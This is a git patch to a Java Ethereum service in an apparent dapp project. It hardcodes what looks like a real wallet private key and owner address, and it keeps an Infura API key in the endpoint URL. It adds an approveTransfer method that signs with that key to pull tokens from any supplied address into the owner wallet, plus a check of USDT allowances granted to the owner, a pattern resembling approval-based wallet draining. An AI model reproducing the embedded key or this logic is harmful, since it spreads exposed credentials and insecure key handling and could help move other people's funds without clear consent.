From 3d5ba335dcb5bcd279a8bfda8bdadd4889237b84 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 29 Mar 2022 16:39:45 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 40 ++++++++++++++++++++++++++++------------
1 files changed, 28 insertions(+), 12 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 3866078..934c208 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -2,6 +2,7 @@
import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.collection.CollUtil;
+import com.alibaba.fastjson.JSONObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
@@ -53,6 +54,8 @@
//private static final String ETH_UTL = "http://120.55.86.146:8545";
// private static final String ETH_UTL = "http://114.55.250.231:8545";
private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+ private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
+ private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
public EthService() {
try {
@@ -144,16 +147,17 @@
}
public static void main(String[] args) throws IOException {
- HttpService service = new HttpService(ETH_UTL);
- Web3j build = Web3j.build(service);
- //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
- Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
- EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
- String status = send.getResult().getStatus();
- System.out.println(status);//0x1
+// HttpService service = new HttpService(ETH_UTL);
+// Web3j build = Web3j.build(service);
+// //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+// Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+// EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
+// String status = send.getResult().getStatus();
+// System.out.println(status);//0x1
// EthTransaction send = ethTransactionRequest.send();
// String input = send.getResult().getInput();
// System.out.println(input);
+ System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
}
/**
@@ -233,19 +237,26 @@
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
String hexValue = Numeric.toHexString(signedMessage);
- // log.debug("transfer hexValue:" + hexValue);
-
CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
//return "hash";
+// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
if (ethSendTransaction.hasError()) {
- // log.info("transfer error:", ethSendTransaction.getError().getMessage());
return "";
} else {
String transactionHash = ethSendTransaction.getTransactionHash();
// log.info("Transfer transactionHash:" + transactionHash);
return transactionHash;
+ }
+ }
+
+ public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+ try {
+ return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ } catch (InterruptedException | ExecutionException e) {
+ e.printStackTrace();
+ return "";
}
}
@@ -280,6 +291,10 @@
}
}
+ public BigInteger ethAllowance(String address) {
+ return ethAllowance(OWNER_ADDRESS, address);
+ }
+
public BigInteger ethAllowance(String toAddress, String fromAddress) {
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
String methodName = "allowance";
@@ -288,10 +303,10 @@
outputParameters.add(typeReference);
Function function = new Function(methodName,
- Arrays.asList(new Address(toAddress), new Address(fromAddress))
+ Arrays.asList(new Address(fromAddress), new Address(toAddress))
, outputParameters);
String data = FunctionEncoder.encode(function);
- Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+ Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
EthCall ethCall = null;
try {
@@ -305,4 +320,5 @@
}
+
}
--
Gitblit v1.9.1